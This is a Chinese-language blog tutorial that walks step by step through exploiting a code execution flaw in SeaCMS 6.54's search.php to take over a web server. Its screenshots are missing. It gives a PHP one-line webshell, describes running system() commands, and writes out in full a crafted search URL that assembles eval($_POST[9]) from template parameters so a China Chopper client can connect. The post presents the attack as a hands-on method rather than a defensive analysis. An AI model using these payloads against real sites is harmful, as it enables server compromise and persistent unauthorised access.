海洋CMS6.54任意代码执行漏洞拿shell实战

作者 : 影视站长圈 发布时间:2022-11-21 人阅读

分享影视站长圈实战演示海洋CMS6.54任意代码执行漏洞拿shell步骤,后续版本已该洞已补。

百度搜索海洋CMS的漏洞,有好几个版本的,v6.45,漏洞是search.php的任意代码执行漏洞,

首页有许多的查询选项,我们随便选一个:

海洋CMS6.54任意代码执行漏洞拿shell实战

看到url:

海洋CMS6.54任意代码执行漏洞拿shell实战

然后使用hackbar进行上传:

海洋CMS6.54任意代码执行漏洞拿shell实战

执行payload后看到:(如果失败,换一个查询方式)

海洋CMS6.54任意代码执行漏洞拿shell实战

说明我们payload里的phpInfo()函数执行成功,该漏洞已成功被利用。

3、运用system()执行命令

将payload稍作修改:

海洋CMS6.54任意代码执行漏洞拿shell实战

在system()中就可以在服务器上执行命令了,但权限可能不够,如果权限可以的话,可以利用该语句写入一句话木马:

file_put_concents("connect.php","<?php @eval($_POST[pass]);?>"),然后连接菜刀即可。

海洋CMS6.54任意代码执行漏洞拿shell实战

这里只有读的权限,无法写入一句话。

4、拿shell

这是一个骚操作吧,尝试了很多次,网上查了一大堆,最终还是卡死,幸好有学长指点迷津,方柳暗花明。

还是用一句话连接,用system()无法写入,但可以这样连接。

首先看懂这个payload,我们知道phpinfo()执行成功,可能不太清楚原理,但大致能看懂,phpinfo()是利用这么一个漏洞,分开来写的(payload最后):9[]=ph&9[]=pinfo()。我们payload前面看,原来有一个分开的eval ($_POST[9])呀,这不是一句话嘛。但是要怎么利用呢,无法写入php文件的呀。

这个操作骚就骚在了用url来传递这个payload,而且只需传过去就能用菜刀连上。

利用payload构造url:/HaiYangCMS/search.php?searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))

放入菜刀,那密码是什么呢,是9[],不是9。

海洋CMS6.54任意代码执行漏洞拿shell实战

于是乎,连接成功。